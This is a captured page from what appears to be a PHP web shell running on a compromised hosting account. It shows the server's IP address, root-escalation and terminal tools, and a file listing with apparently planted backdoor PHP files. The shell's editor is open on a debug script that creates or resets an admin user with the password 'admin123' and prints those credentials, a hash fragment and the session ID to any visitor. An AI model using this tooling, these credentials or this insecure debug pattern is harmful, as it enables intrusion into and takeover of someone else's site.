Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
new.ads /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-11-13 19:14
admin
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
assets
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
car
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
cgi-bin
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
libs
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
uploads
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
user
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
README.md
7.44
KB
-rw-r--r--
2025-11-13 19:23
car.zip
91.76
MB
-rw-r--r--
2025-11-13 17:22
config.php
1006
B
-rw-r--r--
2025-11-13 17:23
database.php
1.35
KB
-rw-r--r--
2025-11-13 19:11
database.sql
3.97
KB
-rw-r--r--
2025-11-13 19:47
debug_admin.php
5.24
KB
-rw-r--r--
2025-11-13 19:53
debug_qr_status.php
7.57
KB
-rw-r--r--
2025-11-13 20:12
debug_step4.php
4.71
KB
-rw-r--r--
2025-11-13 21:29
debug_step4_redirect.php
7.74
KB
-rw-r--r--
2025-11-13 22:14
email_setup_guide.md
3.55
KB
-rw-r--r--
2025-11-13 20:41
error_log
22.3
KB
-rw-r--r--
2026-02-19 19:34
fUSdQU7r.php
445
B
-rw-r--r--
2026-02-23 13:08
fix_admin_password.php
2.47
KB
-rw-r--r--
2025-11-13 19:48
fix_all_warnings.php
9.02
KB
-rw-r--r--
2025-11-13 21:57
fix_step4_qr_issues.php
10.65
KB
-rw-r--r--
2025-11-13 22:13
index.php
8.68
KB
-rw-r--r--
2025-11-13 19:13
live_admin_fix.php
11.84
KB
-rw-r--r--
2025-11-13 20:54
live_step4_fix.php
7.93
KB
-rw-r--r--
2025-11-13 21:39
login.php
7.33
KB
-rw-r--r--
2025-11-13 19:14
logout.php
171
B
-rw-r--r--
2025-11-13 19:14
profile.php
10.78
KB
-rw-r--r--
2025-11-13 22:13
quick_admin_fix.php
4.67
KB
-rw-r--r--
2025-11-13 20:24
register.php
10.78
KB
-rw-r--r--
2025-11-13 19:14
test_email_fix.php
3.71
KB
-rw-r--r--
2025-11-13 20:02
test_qr.php
4.1
KB
-rw-r--r--
2025-11-13 19:59
test_reference_fix.php
4.28
KB
-rw-r--r--
2025-11-13 20:05
test_step4_fix.php
6.24
KB
-rw-r--r--
2025-11-13 22:21
txets.php
4.37
KB
-rw-r--r--
2026-02-24 02:50
vtmgPedc.php
445
B
-rw-r--r--
2026-02-22 23:14
wp-blog-header.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php // DEBUG SCRIPT FOR ADMIN LOGIN ISSUES require_once 'config.php'; require_once 'database.php'; require_once 'libs/functions.php'; echo "<h2>🔍 Admin Login Debug Script</h2>"; echo "<hr>"; try { // 1. Check database connection echo "<h3>1. Database Connection</h3>"; if ($db) { echo "✅ Database connection: <strong>SUCCESS</strong><br>"; } else { echo "❌ Database connection: <strong>FAILED</strong><br>"; exit; } // 2. Check if admin_users table exists echo "<h3>2. Admin Users Table</h3>"; $tableCheck = $db->query("SHOW TABLES LIKE 'admin_users'"); if ($tableCheck) { echo "✅ admin_users table: <strong>EXISTS</strong><br>"; } else { echo "❌ admin_users table: <strong>MISSING</strong><br>"; echo "<p style='color: red;'>You need to import the database.sql file!</p>"; exit; } // 3. Check admin user exists echo "<h3>3. Admin User Check</h3>"; $admin = $db->fetch("SELECT * FROM admin_users WHERE username = 'admin'"); if ($admin) { echo "✅ Admin user: <strong>EXISTS</strong><br>"; echo "📋 Username: " . htmlspecialchars($admin['username']) . "<br>"; echo "📋 Full Name: " . htmlspecialchars($admin['full_name']) . "<br>"; echo "📋 Email: " . htmlspecialchars($admin['email']) . "<br>"; echo "📋 Active: " . ($admin['is_active'] ? 'YES' : 'NO') . "<br>"; echo "📋 Password Hash: " . substr($admin['password'], 0, 20) . "...<br>"; } else { echo "❌ Admin user: <strong>NOT FOUND</strong><br>"; echo "<p style='color: red;'>Creating admin user now...</p>"; // Create admin user $hashedPassword = hashPassword('admin123'); $db->query("INSERT INTO admin_users (username, password, full_name, email) VALUES (?, ?, ?, ?)", ['admin', $hashedPassword, 'System Administrator', 'admin@carmanagement.com']); echo "✅ Admin user created successfully!<br>"; $admin = $db->fetch("SELECT * FROM admin_users WHERE username = 'admin'"); } // 4. Test password verification echo "<h3>4. Password Verification Test</h3>"; $testPassword = 'admin123'; if (verifyPassword($testPassword, $admin['password'])) { echo "✅ Password verification: <strong>SUCCESS</strong><br>"; echo "📋 Test password 'admin123' matches the stored hash<br>"; } else { echo "❌ Password verification: <strong>FAILED</strong><br>"; echo "🔧 Fixing password hash...<br>"; // Fix the password $correctHash = hashPassword($testPassword); $db->query("UPDATE admin_users SET password = ? WHERE username = 'admin'", [$correctHash]); // Test again $admin = $db->fetch("SELECT * FROM admin_users WHERE username = 'admin'"); if (verifyPassword($testPassword, $admin['password'])) { echo "✅ Password fixed and verified: <strong>SUCCESS</strong><br>"; } else { echo "❌ Password fix: <strong>STILL FAILED</strong><br>"; } } // 5. Test captcha function echo "<h3>5. Captcha Function Test</h3>"; $captcha = generateCaptcha(); echo "📋 Sample captcha: $captcha<br>"; // Extract numbers from captcha for testing if (preg_match('/(\d+)\s*\+\s*(\d+)/', $captcha, $matches)) { $num1 = (int)$matches[1]; $num2 = (int)$matches[2]; $answer = $num1 + $num2; $_SESSION['captcha_answer'] = $answer; if (verifyCaptcha($answer)) { echo "✅ Captcha verification: <strong>SUCCESS</strong><br>"; } else { echo "❌ Captcha verification: <strong>FAILED</strong><br>"; } } // 6. Session test echo "<h3>6. Session Test</h3>"; if (session_status() === PHP_SESSION_ACTIVE) { echo "✅ Session: <strong>ACTIVE</strong><br>"; echo "📋 Session ID: " . session_id() . "<br>"; } else { echo "❌ Session: <strong>INACTIVE</strong><br>"; } echo "<hr>"; echo "<h3>🎯 Summary</h3>"; echo "<div style='background: #f0f8ff; padding: 15px; border: 1px solid #0066cc;'>"; echo "<strong>Admin Login Credentials:</strong><br>"; echo "Username: <code>admin</code><br>"; echo "Password: <code>admin123</code><br>"; echo "Make sure to solve the math captcha correctly!<br>"; echo "</div>"; echo "<hr>"; echo "<p><a href='admin/login.php' style='background: #28a745; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px;'>🔐 Try Admin Login Now</a></p>"; echo "<p><a href='index.php'>🏠 Back to Homepage</a></p>"; echo "<p style='color: red; margin-top: 30px;'><strong>⚠️ SECURITY:</strong> Delete this debug file after fixing the issue!</p>"; } catch (Exception $e) { echo "<div style='color: red; padding: 10px; border: 1px solid red; background: #fff0f0;'>"; echo "<strong>❌ ERROR:</strong> " . $e->getMessage(); echo "</div>"; } ?> <style> body { font-family: Arial, sans-serif; margin: 40px; line-height: 1.6; } h3 { color: #333; border-bottom: 2px solid #28a745; padding-bottom: 5px; } code { background: #f4f4f4; padding: 2px 5px; border-radius: 3px; } </style>